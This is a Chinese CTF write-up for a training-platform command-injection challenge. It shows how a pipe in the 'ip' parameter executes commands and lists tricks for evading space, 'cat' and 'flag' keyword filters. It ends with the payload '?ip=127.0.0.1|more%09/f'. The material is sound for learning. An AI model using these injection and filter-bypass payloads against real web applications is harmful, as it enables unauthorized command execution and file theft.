题目链接:青少年CTF训练平台

提示传入参数ip


加入管道符可以正常执行命令

过滤了空格

可以使用一下几种符号绕过
1 2 3 4 5
| < -- 重定向,如cat<flag.php <> -- 重定向,如cat<>flag.php %09 -- 需要php环境,如cat%09flag.php ${IFS} -- 单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php $IFS$9 -- 后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php
|

cat被过滤 可以使用tac more head tail等命令绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| 查看文本内容 查看全部文本内容: 1、cat命令 cat file_name #输出所有文本内容 3、cat -n file_name #文本内容所有行加上行编号输出 3、cat -b file_name #文本内容非空行加上行编号输出
分页查看文本内容: 1、more命令(常用的分页工具) more file_name 2、less命令(more升级版分页工具) less file_name #显示行加-N参数,less -N file_name #更多命令及使用方法查看less --help或man less
查看部分文件内容 head 命令:显示文件开头一些行的内容,默认显示文件前10行 1,查看显示文首内容 head -n [number] file_name ,显示文首多少行内容 head -n 100 file_name #显示文首一百行内容 #或不加-n,head -100 file_name也是显示文尾100行内容 2、输出文首最后的多少个字节 head -c 10 file_name
tail 命令:显示文件最后一些行的内容,默认显示文件后10行 1、查看显示文尾内容 tail -n [number] file_name ,显示文尾多少行内容 tail -n 100 file_name #显示文尾一百行内容 #或不加-n,tail -100 file_name也是显示文尾100行内容 2、当文件增长时输出追加的数据,比如日志时时生成,(crtl+c终止显示) tail -f log_file 3、加-f参数显示追加是数据时可以与-s参数配置,睡眠几秒在进行追加显示 tail -f -s 10 log_file #查看日志内容,10秒刷新一次 4、输出文尾最后的多少个字节 tail -c 10 file_name
|


查看根目录下的flag,很明显过滤了flag关键字 可以使用f通配符绕过

构造payload:?ip=127.0.0.1|more%09/f 得到flag
